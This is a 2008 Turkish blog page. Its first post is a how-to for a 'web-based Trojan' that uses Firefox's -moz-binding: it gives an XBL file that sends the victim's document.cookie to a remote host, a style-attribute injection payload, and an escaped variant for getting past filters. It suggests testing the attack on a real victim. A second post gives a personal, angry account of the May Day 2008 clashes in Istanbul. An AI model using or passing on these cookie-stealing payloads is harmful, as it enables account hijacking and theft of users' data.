Web tabanli Trojan Nasil Yapilir? Date: May 11, 2008  Tags: javascript , security , turkce    Comments(0)

XSS ve web guvenligi meraklilari icin birkac teknikten bahsetmeye karar verdim.Bunlardan ilki oldukca gecerli olan ve pek az bilinen, firefox'ta calisan moz-binding yontemi.Yaziyi "vuralim, kiralim" uslubuyla yazdim ancak amacim sadece guvenlik onlemleri icin kaynak olusturmak.

Gecen yil Hakan (Bilgin) cloudo icin, bense r(ainbow)92 icin kod renklendirme yapmaya calisiyorduk. Hakan o zamanlar hazirladigi bir ornekte, XBL/-moz-binding teknigini kullanarak uygulamaya CSS kodu icinden XML import ediyor, XML'in icinden de javascript calistiriyordu.Bu bana oldukca ilginc gelmis ve -moz-binding ile tanismami saglamisti.

Eger bu ilginc teknigi, Yahoo UI gelistiricisi Douglas Crockford'un JSON'u kesfetmesini saglayan script include yontemiyle birlestirirseniz (bu yontem hem data transferlerini hem de client'ta istediginiz manyakligi yapmanizi saglar), yapabilecekleriniz hayal gucunuz kadar sinirsizdir. Ornegin maillerine hotmail,gmail vb web uzerinden ulasan bir kullanicinin tum maillerini cekebilir veya habersizce istediginiz maili yazdirtip gondertebilirsiniz.

Her iki yontemin de nasil kullanildigini anlamak icin kullanicilarin cookie'lerini victim list'e kaydetmeyi amacladigimiz kucuk bir ornek yapalim, ornegi denemek icin basit bir uygulama taslagi hazirlayabilirsiniz veya gercek bir kurban secebilirsiniz..

Sectigimiz web uygulamasi kullanicilarin sadece <strong> vb masum gorunen html tag'lerine izin veriyor olsun.Eger bu uygulama attribute'leri kontrol etmiyorsa isimiz kolay, onload vb event'lerle direk javascript calistirabiliriz.Eger kontrol ediyorsa, style attribute'una izin verilip verilmediginden emin olun. WYSIWYG editorlerinden veri bekleyen uygulamalarin hepsinde izin verilir.

Amacimiz style attribute'u icinde -moz-binding kullanarak xbl belgesini cagirmak. Bundan evvel javascript calistiracagimiz XBL belgesini hazirlayip kurbanlarin erisebilecegi bir yere yukleyelim: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="xss"> <implementation> <constructor> document.body.appendChild(document.createElement("script")).setAttribute("src","http://victim.com/?append="+escape(document.cookie)); </constructor> </implementation> </binding> </bindings> style='color:red; -moz-binding:url("http://victim.com/xbl.xml#xss");' Cok az bir ihtimalle kurbaniniz moz-binding yazilmasini veya cross domain veri cagrilmasini blocklamis olabilir. Bu durumda b planimiz "the-spanner.co.uk" adresinde yayinlanan bir snippet'tan geliyor: /style=\-\mo\z-b\i\nd\in\g:\url(//victim.com\/xbl_log\.xml\#xss) Bundan sonrasi javascript bilginize kalmis. Kullanicinin arayuzunde daha cesitli tuneller acabilir, arayuzu degistirebilir veya kullanici adina islemler yapabilirsiniz.   

1 Mayis Catismalarindaki Gozlemlerim Date: May 1, 2008  Tags: misc    Comments(6)

1 Mayısta dayak yiyen binlerce insanın tamamı, ortalama bir polis veya askerden kat kat daha namuslu, halkini daha cok seven akilli insanlardi.Meymenetsiz suratlarındaki korku dolu sırıtışla hücum eden o adi korkaklardan ülkesine çok daha faydalı, aydın bir kitleydi 1 mayısı kutlayanlar.

Gaz bombasından başlıyorum anlatmaya.Böyle namert bir silah sanırım görülmemiştir, zaten savaşlarda kullanılması yasaklanmış, bizim sümüklü vatanseverlerimizse bize karşı kullanıyor. Yaklaşık 10cm yüksekliğinde kalın bir mermi sıkıyorlar tüfekle, amerikan yapımıymış.El bombası şeklinde olanı da varmış ama hiç rastlamadım kullanıldığına.

Taksimin batısındaki dar sokaklardan birinde sıkıştırıldık, ardı ardına üstümüze plastik mermi ve gaz bombası yağdı.İki taş fazla atmak için vakti geldiğinde kaçmayınca gazın etkisiyle kendimi bir anlığına kaybedip yere düştüm, gözlerimi açamıyordum ve yüzüm yanıyordu.Buna rağmen polislerin eline geçme korkusuyla önüme gelen her merdiveni ayakta duramaz halde çıkıp ÖDP ilçe binasına girdim.İçeride mahşer kalabalığı vardı ve kadınlar kepenkleri tam indirmeyin diye çığlık atıyorlardı, çünkü dışarıda kalanlar o canavarların eline geçecekti.Hala nefes alamıyordum ve boğulmak üzere olduğum için kendimi kepengin altından dışarı attım. Yüzümü sorduğum birisi limon verdi, az ilerde gördüğüm kamyonetin arkasına saklanıp nefes almaya ve yanan yüzümü limonla soğutmaya çalıştım.Bu arada kamyonetin önünden elinde tüfekler olan 100 kişilik bir ekip geçti, etrafımızı sarmışlardı adeta.Bana limon veren arkadaşları bombaladılar ve ÖDP binasının olduğu sokağa doğru ilerlediler.Binadaki arkadaşların akıbetini bilmiyorum umarım polis binaya saldırmamıştır.(Siyasi partiler yasasına göre polis parti binasına giremez)

Neticede başarısız olduk.İstanbul dışından gelenler yollarını kaybetti, gözaltına alındılar, ailelerine haber veremiyor olabilirler.

Bu sayfada bu tür şeyleri paylaşmak hiç istemiyordum.Çünkü olanca cehaletine rağmen kendini otorite hissedenlerin bilginlik taslamasına, anasının karnında kibirle beslenmiş insanların bu tür olaylarla ilgili yazı, resim,video görüp yorum yapmasına vesile olmak istemiyorum. Buna rağmen vicdanı olanlar için başımıza gelenleri anlattım, muhtemelen haberlerde bizim provokatör, terörist olduğumuzu söylediler.Emin olun polisten, devletten ve askerden ala terörist, onlardan ala provokatör olmaz!   

BROWSE BY TAGS

 appengine (1)  cherrypy (3)  comet (6)  debugging (1)  django (3)  greasemonkey (1)  javascript (11)  linux (3)  misc (11)  pi (5)  python (3)  security (1)  turbogears (2)  turkce (1)

ARCHIVES

August 2008
July 2008
May 2008
April 2008
March 2008

RECENT WORK

english-turkish translator
firebug lite
YAMLWriter
pi.debugger
gmCeviri
View All

FLICKR

View All

LINKS

Cloudo&Hakan Bilgin
Muhammed Daud
Serdar Meydanci
Ferruh Mavituna
CherryPy
Christian Wyglendowski
the spanner
john resig
eric's weblog
dustin diaz

A Django site.